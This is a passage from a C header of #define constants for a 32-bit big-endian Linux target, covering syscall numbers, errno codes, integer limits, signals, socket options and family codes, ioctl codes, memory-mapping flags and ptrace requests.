360\n#define __NR_bpf 361\n#define __NR_execveat 362\n#define __NR_switch_endian 363\n#define __NR_userfaultfd 364\n#define __NR_membarrier 365\n#define __NR_mlock2 378\n#define __NR_copy_file_range 379\n#define __NR_preadv2 380\n#define __NR_pwritev2 381\n#define __NR_kexec_file_load 382\n#define __NR_statx 383\n#define __NR_pkey_alloc 384\n#define __NR_pkey_free 385\n#define __NR_pkey_mprotect 386\n#define __NR_rseq 387\n#define __NR_io_pgetevents 388\n#define __NR_semtimedop 392\n#define __NR_semget 393\n#define __NR_semctl 394\n#define __NR_shmget 395\n#define __NR_shmctl 396\n#define __NR_shmat 397\n#define __NR_shmdt 398\n#define __NR_msgget 399\n#define __NR_msgsnd 400\n#define __NR_msgrcv 401\n#define __NR_msgctl 402\n#define __NR_pidfd_send_signal 424\n#define __NR_io_uring_setup 425\n#define __NR_io_uring_enter 426\n#define __NR_io_uring_register 427\n#define __NR_open_tree 428\n#define __NR_move_mount 429\n#define __NR_fsopen 430\n#define __NR_fsconfig 431\n#define __NR_fsmount 432\n#define __NR_fspick 433\n#define __NR_pidfd_open 434\n#define __NR_clone3 435\n#define __NR_openat2 437\n#define __NR_pidfd_getfd 438\n#define MAP_32BIT 0x40\n#define INADDR_ANY 0\n#define INADDR_BROADCAST 0xffffffff\n#define INADDR_NONE 0xffffffff\n#define INADDR_LOOPBACK 0x7f000001\n#define EPERM 1\n#define ENOENT 2\n#define ESRCH 3\n#define EINTR 4\n#define EIO 5\n#define ENXIO 6\n#define E2BIG 7\n#define ENOEXEC 8\n#define EBADF 9\n#define ECHILD 10\n#define EAGAIN 11\n#define ENOMEM 12\n#define EACCES 13\n#define EFAULT 14\n#define ENOTBLK 15\n#define EBUSY 16\n#define EEXIST 17\n#define EXDEV 18\n#define ENODEV 19\n#define ENOTDIR 20\n#define EISDIR 21\n#define EINVAL 22\n#define ENFILE 23\n#define EMFILE 24\n#define ENOTTY 25\n#define ETXTBSY 26\n#define EFBIG 27\n#define ENOSPC 28\n#define ESPIPE 29\n#define EROFS 30\n#define EMLINK 31\n#define EPIPE 32\n#define EDOM 33\n#define ERANGE 34\n#define EDEADLK 35\n#define ENAMETOOLONG 36\n#define ENOLCK 37\n#define ENOSYS 38\n#define ENOTEMPTY 39\n#define ELOOP 40\n#define EWOULDBLOCK 11\n#define ENOMSG 42\n#define EIDRM 43\n#define ECHRNG 44\n#define EL2NSYNC 45\n#define EL3HLT 46\n#define EL3RST 47\n#define ELNRNG 48\n#define EUNATCH 49\n#define ENOCSI 50\n#define EL2HLT 51\n#define EBADE 52\n#define EBADR 53\n#define EXFULL 54\n#define ENOANO 55\n#define EBADRQC 56\n#define EBADSLT 57\n#define EDEADLOCK 35\n#define EBFONT 59\n#define ENOSTR 60\n#define ENODATA 61\n#define ETIME 62\n#define ENOSR 63\n#define ENONET 64\n#define ENOPKG 65\n#define EREMOTE 66\n#define ENOLINK 67\n#define EADV 68\n#define ESRMNT 69\n#define ECOMM 70\n#define EPROTO 71\n#define EMULTIHOP 72\n#define EDOTDOT 73\n#define EBADMSG 74\n#define EOVERFLOW 75\n#define ENOTUNIQ 76\n#define EBADFD 77\n#define EREMCHG 78\n#define ELIBACC 79\n#define ELIBBAD 80\n#define ELIBSCN 81\n#define ELIBMAX 82\n#define ELIBEXEC 83\n#define EILSEQ 84\n#define ERESTART 85\n#define ESTRPIPE 86\n#define EUSERS 87\n#define ENOTSOCK 88\n#define EDESTADDRREQ 89\n#define EMSGSIZE 90\n#define EPROTOTYPE 91\n#define ENOPROTOOPT 92\n#define EPROTONOSUPPORT 93\n#define ESOCKTNOSUPPORT 94\n#define EOPNOTSUPP 95\n#define ENOTSUP 95\n#define EPFNOSUPPORT 96\n#define EAFNOSUPPORT 97\n#define EADDRINUSE 98\n#define EADDRNOTAVAIL 99\n#define ENETDOWN 100\n#define ENETUNREACH 101\n#define ENETRESET 102\n#define ECONNABORTED 103\n#define ECONNRESET 104\n#define ENOBUFS 105\n#define EISCONN 106\n#define ENOTCONN 107\n#define ESHUTDOWN 108\n#define ETOOMANYREFS 109\n#define ETIMEDOUT 110\n#define ECONNREFUSED 111\n#define EHOSTDOWN 112\n#define EHOSTUNREACH 113\n#define EALREADY 114\n#define EINPROGRESS 115\n#define ESTALE 116\n#define EUCLEAN 117\n#define ENOTNAM 118\n#define ENAVAIL 119\n#define EISNAM 120\n#define EREMOTEIO 121\n#define EDQUOT 122\n#define ENOMEDIUM 123\n#define EMEDIUMTYPE 124\n#define ECANCELED 125\n#define ENOKEY 126\n#define EKEYEXPIRED 127\n#define EKEYREVOKED 128\n#define EKEYREJECTED 129\n#define EOWNERDEAD 130\n#define ENOTRECOVERABLE 131\n#define ERFKILL 132\n#define EHWPOISON 133\n#define __SYS_NERR ((133) + 1)\n#define __LITTLE_ENDIAN 1234\n#define __BIG_ENDIAN 4321\n#define __BYTE_ORDER 4321\n#define __FLOAT_WORD_ORDER 4321\n#define LITTLE_ENDIAN 1234\n#define BIG_ENDIAN 4321\n#define BYTE_ORDER 4321\n#define __WORDSIZE 32\n#define INT8_MAX (127)\n#define INT16_MAX (32767)\n#define INT32_MAX (2147483647)\n#define INT64_MAX (9223372036854775807)\n#define INT8_MIN (-1 - (127))\n#define INT16_MIN (-1 - (32767))\n#define INT32_MIN (-1 - (2147483647))\n#define INT64_MIN (-1 - (9223372036854775807))\n#define INT_LEAST8_MAX (127)\n#define INT_LEAST8_MIN (-1 - (127))\n#define INT_LEAST16_MAX (32767)\n#define INT_LEAST16_MIN (-1 - (32767))\n#define INT_LEAST32_MAX (2147483647)\n#define INT_LEAST32_MIN (-1 - (2147483647))\n#define INT_LEAST64_MAX (9223372036854775807)\n#define INT_LEAST64_MIN (-1 - (9223372036854775807))\n#define UINT8_MAX 0xff\n#define UINT16_MAX 0xffff\n#define UINT32_MAX 0xffffffff\n#define UINT64_MAX 0xffffffffffffffff\n#define UINT_LEAST8_MAX 0xff\n#define UINT_LEAST16_MAX 0xffff\n#define UINT_LEAST32_MAX 0xffffffff\n#define UINT_LEAST64_MAX 0xffffffffffffffff\n#define INTPTR_MIN (-1 - (2147483647))\n#define INTPTR_MAX (2147483647)\n#define UINTPTR_MAX 0xffffffff\n#define SIZE_MAX 0xffffffff\n#define PTRDIFF_MIN (-1 - (2147483647))\n#define PTRDIFF_MAX (2147483647)\n#define INTMAX_MIN (-1 - (9223372036854775807))\n#define INTMAX_MAX (9223372036854775807)\n#define UINTMAX_MAX 0xffffffffffffffff\n#define INT_FAST8_MIN (-1 - (127))\n#define INT_FAST8_MAX (127)\n#define INT_FAST64_MIN (-1 - (9223372036854775807))\n#define INT_FAST64_MAX (9223372036854775807)\n#define UINT_FAST8_MAX 0xff\n#define UINT_FAST64_MAX 0xffffffffffffffff\n#define INT_FAST16_MIN (-1 - (2147483647))\n#define INT_FAST16_MAX (2147483647)\n#define UINT_FAST16_MAX 0xffffffff\n#define INT_FAST32_MIN (-1 - (2147483647))\n#define INT_FAST32_MAX (2147483647)\n#define UINT_FAST32_MAX 0xffffffff\n#define WINT_MIN 0\n#define __FSUID_H 1\n#define NSIG 32\n#define _NSIG 65\n#define SIGHUP 1\n#define SIGINT 2\n#define SIGQUIT 3\n#define SIGILL 4\n#define SIGTRAP 5\n#define SIGABRT 6\n#define SIGIOT 6\n#define SIGFPE 8\n#define SIGKILL 9\n#define SIGSEGV 11\n#define SIGPIPE 13\n#define SIGALRM 14\n#define SIGTERM 15\n#define SIGUNUSED 31\n#define SIGRTMIN 32\n#define SIGRTMAX (65-1)\n#define SA_NOCLDSTOP 0x00000001\n#define SA_NOCLDWAIT 0x00000002\n#define SA_SIGINFO 0x00000004\n#define SA_RESTORER 0x04000000\n#define SA_ONSTACK 0x08000000\n#define SA_RESTART 0x10000000\n#define SA_INTERRUPT 0x20000000\n#define SA_NODEFER 0x40000000\n#define SA_RESETHAND 0x80000000\n#define SA_NOMASK 0x40000000\n#define SA_ONESHOT 0x80000000\n#define SS_ONSTACK 1\n#define SS_DISABLE 2\n#define MINSIGSTKSZ 2048\n#define SIGSTKSZ 8192\n#define SIG_BLOCK 0\n#define SIG_UNBLOCK 1\n#define SIG_SETMASK 2\n#define SI_MAX_SIZE 128\n#define SIGEV_SIGNAL 0\n#define SIGEV_NONE 1\n#define SIGEV_THREAD 2\n#define SIGEV_THREAD_ID 4\n#define SIGEV_MAX_SIZE 64\n#define _SYS_TIME_H 1\n#define ITIMER_REAL 0\n#define ITIMER_VIRTUAL 1\n#define ITIMER_PROF 2\n#define FD_SETSIZE 1024\n#define R_OK 4\n#define W_OK 2\n#define X_OK 1\n#define F_OK 0\n#define SEEK_SET 0\n#define SEEK_CUR 1\n#define SEEK_END 2\n#define STDIN_FILENO 0\n#define STDOUT_FILENO 1\n#define STDERR_FILENO 2\n#define _CS_PATH 1\n#define _SC_CLK_TCK 1\n#define _SC_ARG_MAX 2\n#define _SC_NGROUPS_MAX 3\n#define _SC_OPEN_MAX 4\n#define _SC_PAGESIZE 5\n#define _SC_NPROCESSORS_ONLN 6\n#define _SC_NPROCESSORS_CONF 6\n#define _SC_PHYS_PAGES 7\n#define _SC_GETPW_R_SIZE_MAX 8\n#define _SC_GETGR_R_SIZE_MAX 9\n#define _PC_PATH_MAX 1\n#define _PC_VDISABLE 2\n#define L_cuserid 17\n#define _POSIX_VERSION 199506\n#define F_ULOCK 0\n#define F_LOCK 1\n#define F_TLOCK 2\n#define F_TEST 3\n#define _POSIX_MAPPED_FILES 200809\n#define S_IFMT 0xf000\n#define S_IFSOCK 0xc000\n#define S_IFLNK 0xa000\n#define S_IFREG 0x8000\n#define S_IFBLK 0x6000\n#define S_IFDIR 0x4000\n#define S_IFCHR 0x2000\n#define S_IFIFO 0x1000\n#define S_ISUID 0x800\n#define S_ISGID 0x400\n#define S_ISVTX 0x200\n#define S_IRWXU 0x1c0\n#define S_IRUSR 0x100\n#define S_IWUSR 0x80\n#define S_IXUSR 0x40\n#define S_IRWXG 0x38\n#define S_IRGRP 0x20\n#define S_IWGRP 0x10\n#define S_IXGRP 0x8\n#define S_IRWXO 0x7\n#define S_IROTH 0x4\n#define S_IWOTH 0x2\n#define S_IXOTH 0x1\n#define S_IREAD 0x100\n#define S_IWRITE 0x80\n#define S_IEXEC 0x40\n#define _SYS_UIO 1\n#define SOL_SOCKET 1\n#define SO_DEBUG 1\n#define SO_REUSEADDR 2\n#define SO_TYPE 3\n#define SO_ERROR 4\n#define SO_DONTROUTE 5\n#define SO_BROADCAST 6\n#define SO_SNDBUF 7\n#define SO_RCVBUF 8\n#define SO_KEEPALIVE 9\n#define SO_OOBINLINE 10\n#define SO_NO_CHECK 11\n#define SO_PRIORITY 12\n#define SO_LINGER 13\n#define SO_BSDCOMPAT 14\n#define SO_REUSEPORT 15\n#define SO_PASSCRED 16\n#define SO_PEERCRED 17\n#define SO_RCVLOWAT 18\n#define SO_SNDLOWAT 19\n#define SO_RCVTIMEO 20\n#define SO_SNDTIMEO 21\n#define SO_SECURITY_AUTHENTICATION 22\n#define SO_SECURITY_ENCRYPTION_TRANSPORT 23\n#define SO_SECURITY_ENCRYPTION_NETWORK 24\n#define SO_BINDTODEVICE 25\n#define SO_ATTACH_FILTER 26\n#define SO_DETACH_FILTER 27\n#define SO_GET_FILTER 26\n#define SO_PEERNAME 28\n#define SO_TIMESTAMP 29\n#define SCM_TIMESTAMP 29\n#define SO_ACCEPTCONN 30\n#define SO_PEERSEC 31\n#define SO_SNDBUFFORCE 32\n#define SO_RCVBUFFORCE 33\n#define SO_PASSSEC 34\n#define SO_TIMESTAMPNS 35\n#define SCM_TIMESTAMPNS 35\n#define SO_MARK 36\n#define SO_TIMESTAMPING 37\n#define SCM_TIMESTAMPING 37\n#define SO_PROTOCOL 38\n#define SO_DOMAIN 39\n#define SO_RXQ_OVFL 40\n#define SO_WIFI_STATUS 41\n#define SCM_WIFI_STATUS 41\n#define SO_PEEK_OFF 42\n#define SO_NOFCS 43\n#define SO_LOCK_FILTER 44\n#define SO_SELECT_ERR_QUEUE 45\n#define SO_BUSY_POLL 46\n#define SO_MAX_PACING_RATE 47\n#define SO_BPF_EXTENSIONS 48\n#define SO_INCOMING_CPU 49\n#define SO_ATTACH_BPF 50\n#define SO_DETACH_BPF 27\n#define SO_ATTACH_REUSEPORT_CBPF 51\n#define SO_ATTACH_REUSEPORT_EBPF 52\n#define SO_CNX_ADVICE 53\n#define SCM_TIMESTAMPING_OPT_STATS 54\n#define SO_MEMINFO 55\n#define SO_INCOMING_NAPI_ID 56\n#define SO_COOKIE 57\n#define SCM_TIMESTAMPING_PKTINFO 58\n#define SO_PEERGROUPS 59\n#define SO_ZEROCOPY 60\n#define SOCK_STREAM 1\n#define SOCK_DGRAM 2\n#define SOCK_RAW 3\n#define SOCK_RDM 4\n#define SOCK_SEQPACKET 5\n#define SOCK_DCCP 6\n#define SOCK_PACKET 10\n#define UIO_FASTIOV 8\n#define UIO_MAXIOV 1024\n#define SCM_RIGHTS 0x01\n#define SCM_CREDENTIALS 0x02\n#define SCM_CONNECT 0x03\n#define AF_UNSPEC 0\n#define AF_UNIX 1\n#define AF_LOCAL 1\n#define AF_INET 2\n#define AF_AX25 3\n#define AF_IPX 4\n#define AF_APPLETALK 5\n#define AF_NETROM 6\n#define AF_BRIDGE 7\n#define AF_ATMPVC 8\n#define AF_X25 9\n#define AF_INET6 10\n#define AF_ROSE 11\n#define AF_DECnet 12\n#define AF_NETBEUI 13\n#define AF_SECURITY 14\n#define AF_KEY 15\n#define AF_NETLINK 16\n#define AF_ROUTE 16\n#define AF_PACKET 17\n#define AF_ASH 18\n#define AF_ECONET 19\n#define AF_ATMSVC 20\n#define AF_SNA 22\n#define AF_IRDA 23\n#define AF_PPPOX 24\n#define AF_WANPIPE 25\n#define AF_LLC 26\n#define AF_IB 27\n#define AF_MPLS 28\n#define AF_CAN 29\n#define AF_TIPC 30\n#define AF_BLUETOOTH 31\n#define AF_IUCV 32\n#define AF_RXRPC 33\n#define AF_ISDN 34\n#define AF_PHONET 35\n#define AF_IEEE802154 36\n#define AF_CAIF 37\n#define AF_ALG 38\n#define AF_NFC 39\n#define AF_VSOCK 40\n#define AF_KCM 41\n#define AF_QIPCRTR 42\n#define AF_SMC 43\n#define AF_MAX 44\n#define PF_UNSPEC 0\n#define PF_UNIX 1\n#define PF_LOCAL 1\n#define PF_INET 2\n#define PF_AX25 3\n#define PF_IPX 4\n#define PF_APPLETALK 5\n#define PF_NETROM 6\n#define PF_BRIDGE 7\n#define PF_ATMPVC 8\n#define PF_X25 9\n#define PF_INET6 10\n#define PF_ROSE 11\n#define PF_DECnet 12\n#define PF_NETBEUI 13\n#define PF_SECURITY 14\n#define PF_KEY 15\n#define PF_NETLINK 16\n#define PF_ROUTE 16\n#define PF_PACKET 17\n#define PF_ASH 18\n#define PF_ECONET 19\n#define PF_ATMSVC 20\n#define PF_SNA 22\n#define PF_IRDA 23\n#define PF_PPPOX 24\n#define PF_WANPIPE 25\n#define PF_LLC 26\n#define PF_IB 27\n#define PF_MPLS 28\n#define PF_CAN 29\n#define PF_TIPC 30\n#define PF_BLUETOOTH 31\n#define PF_IUCV 32\n#define PF_RXRPC 33\n#define PF_ISDN 34\n#define PF_PHONET 35\n#define PF_IEEE802154 36\n#define PF_CAIF 37\n#define PF_ALG 38\n#define PF_NFC 39\n#define PF_VSOCK 40\n#define PF_KCM 41\n#define PF_QIPCRTR 42\n#define PF_SMC 43\n#define PF_MAX 44\n#define SOMAXCONN 128\n#define MSG_OOB 1\n#define MSG_PEEK 2\n#define MSG_DONTROUTE 4\n#define MSG_TRYHARD 4\n#define MSG_CTRUNC 8\n#define MSG_PROBE 0x10\n#define MSG_TRUNC 0x20\n#define MSG_DONTWAIT 0x40\n#define MSG_EOR 0x80\n#define MSG_WAITALL 0x100\n#define MSG_FIN 0x200\n#define MSG_SYN 0x400\n#define MSG_CONFIRM 0x800\n#define MSG_RST 0x1000\n#define MSG_ERRQUEUE 0x2000\n#define MSG_NOSIGNAL 0x4000\n#define MSG_MORE 0x8000\n#define MSG_WAITFORONE 0x10000\n#define MSG_SENDPAGE_NOTLAST 0x20000\n#define MSG_BATCH 0x40000\n#define MSG_EOF 0x200\n#define MSG_ZEROCOPY 0x4000000\n#define MSG_FASTOPEN 0x20000000\n#define MSG_CMSG_CLOEXEC 0x40000000\n#define SOL_IP 0\n#define SOL_TCP 6\n#define SOL_UDP 17\n#define SOL_IPV6 41\n#define SOL_ICMPV6 58\n#define SOL_SCTP 132\n#define SOL_UDPLITE 136\n#define SOL_RAW 255\n#define SOL_IPX 256\n#define SOL_AX25 257\n#define SOL_ATALK 258\n#define SOL_NETROM 259\n#define SOL_ROSE 260\n#define SOL_DECNET 261\n#define SOL_X25 262\n#define SOL_PACKET 263\n#define SOL_ATM 264\n#define SOL_AAL 265\n#define SOL_IRDA 266\n#define SOL_NETBEUI 267\n#define SOL_LLC 268\n#define SOL_DCCP 269\n#define SOL_NETLINK 270\n#define SOL_TIPC 271\n#define SOL_RXRPC 272\n#define SOL_PPPOL2TP 273\n#define SOL_BLUETOOTH 274\n#define SOL_PNPIPE 275\n#define SOL_RDS 276\n#define SOL_IUCV 277\n#define SOL_CAIF 278\n#define SOL_ALG 279\n#define SOL_NFC 280\n#define SOL_KCM 281\n#define SOL_TLS 282\n#define IPX_TYPE 1\n#define SHUT_RD 0\n#define SHUT_WR 1\n#define SHUT_RDWR 2\n#define NI_NOFQDN 1\n#define NI_NUMERICHOST 2\n#define NI_NAMEREQD 4\n#define NI_NUMERICSERV 8\n#define NI_DGRAM 16\n#define EAI_FAMILY -1\n#define EAI_SOCKTYPE -2\n#define EAI_BADFLAGS -3\n#define EAI_NONAME -4\n#define EAI_SERVICE -5\n#define EAI_ADDRFAMILY -6\n#define EAI_NODATA -7\n#define EAI_MEMORY -8\n#define EAI_FAIL -9\n#define EAI_AGAIN -10\n#define EAI_SYSTEM -11\n#define AI_NUMERICHOST 1\n#define AI_CANONNAME 2\n#define AI_PASSIVE 4\n#define AI_NUMERICSERV 8\n#define AI_ADDRCONFIG 16\n#define AI_V4MAPPED 32\n#define AI_ALL 64\n#define SIOCADDRT 0x890B\n#define SIOCDELRT 0x890C\n#define SIOCRTMSG 0x890D\n#define SIOCGIFNAME 0x8910\n#define SIOCSIFLINK 0x8911\n#define SIOCGIFCONF 0x8912\n#define SIOCGIFFLAGS 0x8913\n#define SIOCSIFFLAGS 0x8914\n#define SIOCGIFADDR 0x8915\n#define SIOCSIFADDR 0x8916\n#define SIOCGIFDSTADDR 0x8917\n#define SIOCSIFDSTADDR 0x8918\n#define SIOCGIFBRDADDR 0x8919\n#define SIOCSIFBRDADDR 0x891a\n#define SIOCGIFNETMASK 0x891b\n#define SIOCSIFNETMASK 0x891c\n#define SIOCGIFMETRIC 0x891d\n#define SIOCSIFMETRIC 0x891e\n#define SIOCGIFMEM 0x891f\n#define SIOCSIFMEM 0x8920\n#define SIOCGIFMTU 0x8921\n#define SIOCSIFMTU 0x8922\n#define SIOCSIFNAME 0x8923\n#define SIOCSIFHWADDR 0x8924\n#define SIOCGIFENCAP 0x8925\n#define SIOCSIFENCAP 0x8926\n#define SIOCGIFHWADDR 0x8927\n#define SIOCGIFSLAVE 0x8929\n#define SIOCSIFSLAVE 0x8930\n#define SIOCADDMULTI 0x8931\n#define SIOCDELMULTI 0x8932\n#define SIOCGIFINDEX 0x8933\n#define SIOGIFINDEX 0x8933\n#define SIOCSIFPFLAGS 0x8934\n#define SIOCGIFPFLAGS 0x8935\n#define SIOCDIFADDR 0x8936\n#define SIOCSIFHWBROADCAST 0x8937\n#define SIOCGIFCOUNT 0x8938\n#define SIOCGIFBR 0x8940\n#define SIOCSIFBR 0x8941\n#define SIOCGIFTXQLEN 0x8942\n#define SIOCSIFTXQLEN 0x8943\n#define SIOCGIFDIVERT 0x8944\n#define SIOCSIFDIVERT 0x8945\n#define SIOCETHTOOL 0x8946\n#define SIOCDARP 0x8953\n#define SIOCGARP 0x8954\n#define SIOCSARP 0x8955\n#define SIOCDRARP 0x8960\n#define SIOCGRARP 0x8961\n#define SIOCSRARP 0x8962\n#define SIOCGIFMAP 0x8970\n#define SIOCSIFMAP 0x8971\n#define SIOCADDDLCI 0x8980\n#define SIOCDELDLCI 0x8981\n#define SIOCDEVPRIVATE 0x89F0\n#define F_LINUX_SPECIFIC_BASE 1024\n#define F_SETOWN_EX 15\n#define F_GETOWN_EX 16\n#define F_GETOWNER_UIDS 17\n#define F_OFD_GETLK 36\n#define F_OFD_SETLK 37\n#define F_OFD_SETLKW 38\n#define F_OWNER_TID 0\n#define F_OWNER_PID 1\n#define F_OWNER_PGRP 2\n#define AT_FDCWD -100\n#define AT_SYMLINK_NOFOLLOW 0x100\n#define AT_REMOVEDIR 0x200\n#define AT_SYMLINK_FOLLOW 0x400\n#define AT_NO_AUTOMOUNT 0x800\n#define AT_EMPTY_PATH 0x1000\n#define AT_EACCESS 0x200\n#define MREMAP_MAYMOVE 1\n#define MREMAP_FIXED 2\n#define PROT_READ 0x1\n#define PROT_WRITE 0x2\n#define PROT_EXEC 0x4\n#define PROT_SEM 0x8\n#define PROT_NONE 0x0\n#define PROT_GROWSDOWN 0x01000000\n#define PROT_GROWSUP 0x02000000\n#define MAP_SHARED 0x01\n#define MAP_PRIVATE 0x02\n#define MAP_TYPE 0xf\n#define MADV_REMOVE 9\n#define MADV_DONTFORK 10\n#define MADV_DOFORK 11\n#define MADV_MERGEABLE 12\n#define MADV_UNMERGEABLE 13\n#define MADV_HUGEPAGE 14\n#define MADV_NOHUGEPAGE 15\n#define MADV_DONTDUMP 16\n#define MADV_DODUMP 17\n#define MADV_HWPOISON 100\n#define MADV_SOFT_OFFLINE 101\n#define MLOCK_ONFAULT 1\n#define MAP_FILE 0\n#define PTRACE_TRACEME 0\n#define PTRACE_PEEKTEXT 1\n#define PTRACE_PEEKDATA 2\n#define PTRACE_PEEKUSR 3\n#define PTRACE_PEEKUSER 3\n#define PTRACE_POKETEXT 4\n#define PTRACE_POKEDATA 5\n#define PTRACE_POKEUSR 6\n#define PTRACE_POKEUSER 6\n#define PTRACE_CONT 7\n#define PTRACE_KILL 8\n#define PTRACE_SINGLESTEP 9\n#define PTRACE_ATTACH 0x10\n#define PTRACE_DETACH 0x11\n#define PTRACE_SYSCALL 24\n#define PTRACE_GETEVENTMSG 0x4201\n#define PTRACE_GETSIGINFO 0x4202\n#define PTRACE_SETSIGINFO 0x4203\n#define PTRACE_O_TRACESYSGOOD 0x00000001\n#define PTRACE_O_TRACEFORK 0x00000002\n#define PTRACE_O_TRACEVFORK 0x00000004\n#define PTRACE_O_TRACECLONE 0x00000008\n#define PTRACE_O_TRACEEXEC 0x00000010\n#define PTRACE_O_TRACEVFORKDONE 0x00000020\n#define PTRACE_O_TRACEEXIT 0x00000040\n#define PTRACE_O_MASK 0x0000007f\n#define PTRACE_EVENT_FORK 1\n#define PTRACE_EVENT_VFORK 2\n#define PTRACE_EVENT_CLONE 3\n#define PTRACE_EVENT_EXEC 4\n#define PTRACE_EVENT_VFORK_DONE 5\n#define PTRACE_EVENT_EXIT 6\n#define PT_TRACE_ME 0\n#define PT_READ_I 1\n#define PT_READ_D 2\n#define PT_READ_U 3\n#define PT_WRITE_I 4\n#define PT_WRITE_D 5\n#define PT_WRITE_U 6\n#define PT_CONTINUE 7\n#define PT_KILL 8\n#define PT_STEP 9\n#define PT_ATTACH 0x10\n#define PT_DETACH 0x11\n#define SYS_accept 330\n#define SYS_accept4 344\n#define SYS_access 33\n#define SYS_acct 51\n#define SYS_add_key 269\n#define SYS_adjtimex 124\n#define SYS_afs_syscall 137\n#define SYS_alarm 27\n#define SYS_bdflush 134\n#define SYS_bind 327\n#define SYS_bpf 361\n#define SYS_break 17\n#define SYS_brk 45\n#define SYS_capget 183\n#define SYS_capset 184\n#define SYS_chdir 12\n#define SYS_chmod 15\n#define SYS_chown 181\n#define SYS_chroot 61\n#define SYS_clock_adjtime 347\n#define SYS_clock_getres 247\n#define SYS_clock_gettime 246\n#define SYS_clock_nanosleep 248\n#define SYS_clock_settime 245\n#define SYS_clone 120\n#define SYS_clone3 435\n#define SYS_close 6\n#define SYS_connect 328\n#define SYS_copy_file_range 379\n#define SYS_creat 8\n#define SYS_create_module 127\n#define SYS_delete_module 129\n#define SYS_dup 41\n#define SYS_dup2 63\n#define SYS_dup3 316\n#define SYS_epoll_create 236\n#define SYS_epoll_create1 315\n#define SYS_epoll_ctl 237\n#define SYS_epoll_pwait 303\n#define SYS_epoll_wait 238\n#define SYS_eventfd 307\n#define SYS_eventfd2 314\n#define SYS_execve 11\n#define SYS_execveat 362\n#define SYS_exit 1\n#define SYS_exit_group 234\n#define SYS_faccessat 298\n#define SYS_fadvise64 233\n#define SYS_fallocate 309\n#define SYS_fanotify_init 323\n#define SYS_fanotify_mark 324\n#define SYS_fchdir 133\n#define SYS_fchmod 94\n#define SYS_fchmodat 297\n#define SYS_fchown 95\n#define SYS_fchownat 289\n#define SYS_fcntl 55\n#define SYS_fdatasync 148\n#define SYS_fgetxattr 214\n#define SYS_finit_module 353\n#define SYS_flistxattr 217\n#define SYS_flock 143\n#define SYS_fork 2\n#define SYS_fremovexattr 220\n#define SYS_fsconfig 431\n#define SYS_fsetxattr 211\n#define SYS_fsmount 432\n#define SYS_fsopen 430\n#define SYS_fspick 433\n#define SYS_fstat 108\n#define SYS_fstatfs 100\n#define SYS_fstatfs64 253\n#define SYS_fsync 118\n#define SYS_ftime 35\n#define SYS_ftruncate 93\n#define SYS_futex 221\n#define SYS_futimesat 290\n#define SYS_getcpu 302\n#define SYS_getcwd 182\n#define SYS_getdents 141\n#define SYS_getdents64 202\n#define SYS_getegid 50\n#define SYS_geteuid 49\n#define SYS_getgid 47\n#define SYS_getgroups 80\n#define SYS_getitimer 105\n#define SYS_get_kernel_syms 130\n#define SYS_get_mempolicy 260\n#define SYS_getpeername 332\n#define SYS_getpgid 132\n#define SYS_getpgrp 65\n#define SYS_getpid 20\n#define SYS_getpmsg 187\n#define SYS_getppid 64\n#define SYS_getpriority 96\n#define SYS_getrandom 359\n#define SYS_getresgid 170\n#define SYS_getresuid 165\n#define SYS_getrlimit 76\n#define SYS_get_robust_list 299\n#define SYS_getrusage 77\n#define SYS_getsid 147\n#define SYS_getsockname 331\n#define SYS_getsockopt 340\n#define SYS_gettid 207\n#define SYS_gettimeofday 78\n#define SYS_getuid 24\n#define SYS_getxattr 212\n#define SYS_gtty 32\n#define SYS_idle 112\n#define SYS_init_module 128\n#define SYS_inotify_add_watch 276\n#define SYS_inotify_init 275\n#define SYS_inotify_init1 318\n#define SYS_inotify_rm_watch 277\n#define SYS_io_cancel 231\n#define SYS_ioctl 54\n#define SYS_io_destroy 228\n#define SYS_io_getevents 229\n#define SYS_ioperm 101\n#define SYS_io_pgetevents 388\n#define SYS_iopl 110\n#define SYS_ioprio_get 274\n#define SYS_ioprio_set 273\n#define SYS_io_setup 227\n#define SYS_io_submit 230\n#define SYS_io_uring_enter 426\n#define SYS_io_uring_register 427\n#define SYS_io_uring_setup 425\n#define SYS_ipc 117\n#define SYS_kcmp 354\n#define SYS_kexec_file_load 382\n#define SYS_kexec_load 268\n#define SYS_keyctl 271\n#define SYS_kill 37\n#define SYS_lchown 16\n#define SYS_lgetxattr 213\n#define SYS_link 9\n#define SYS_linkat 294\n#define SYS_listen 329\n#define SYS_listxattr 215\n#define SYS_llistxattr 216\n#define SYS__llseek 140\n#define SYS_lock 53\n#define SYS_lookup_dcookie 235\n#define SYS_lremovexattr 219\n#define SYS_lseek 19\n#define SYS_lsetxattr 210\n#define SYS_lstat 107\n#define SYS_madvise 205\n#define SYS_mbind 259\n#define SYS_membarrier 365\n#define SYS_memfd_create 360\n#define SYS_mincore 206\n#define SYS_mkdir 39\n#define SYS_mkdirat 287\n#define SYS_mknod 14\n#define SYS_mknodat 288\n#define SYS_mlock 150\n#define SYS_mlock2 378\n#define SYS_mlockall 152\n#define SYS_mmap 90\n#define SYS_modify_ldt 123\n#define SYS_mount 21\n#define SYS_move_mount 429\n#define SYS_move_pages 301\n#define SYS_mprotect 125\n#define SYS_mpx 56\n#define SYS_mq_getsetattr 267\n#define SYS_mq_notify 266\n#define SYS_mq_open 262\n#define SYS_mq_timedreceive 265\n#define SYS_mq_timedsend 264\n#define SYS_mq_unlink 263\n#define SYS_mremap 163\n#define SYS_msgctl 402\n#define SYS_msgget 399\n#define SYS_msgrcv 401\n#define SYS_msgsnd 400\n#define SYS_msync 144\n#define SYS_multiplexer 201\n#define SYS_munlock 151\n#define SYS_munlockall 153\n#define SYS_munmap 91\n#define SYS_name_to_handle_at 345\n#define SYS_nanosleep 162\n#define SYS_newfstatat 291\n#define SYS__newselect 142\n#define SYS_nfsservctl 168\n#define SYS_nice 34\n#define SYS_oldfstat 28\n#define SYS_oldlstat 84\n#define SYS_oldolduname 59\n#define SYS_oldstat 18\n#define SYS_olduname 109\n#define SYS_open 5\n#define SYS_openat 286\n#define SYS_openat2 437\n#define SYS_open_by_handle_at 346\n#define SYS_open_tree 428\n#define SYS_pause 29\n#define SYS_pciconfig_iobase 200\n#define SYS_pciconfig_read 198\n#define SYS_pciconfig_write 199\n#define SYS_perf_event_open 319\n#define SYS_personality 136\n#define SYS_pidfd_getfd 438\n#define SYS_pidfd_open 434\n#define SYS_pidfd_send_signal 424\n#define SYS_pipe 42\n#define SYS_pipe2 317\n#define SYS_pivot_root 203\n#define SYS_pkey_alloc 384\n#define SYS_pkey_free 385\n#define SYS_pkey_mprotect 386\n#define SYS_poll 167\n#define SYS_ppoll 281\n#define SYS_prctl 171\n#define SYS_pread 179\n#define SYS_preadv 320\n#define SYS_preadv2 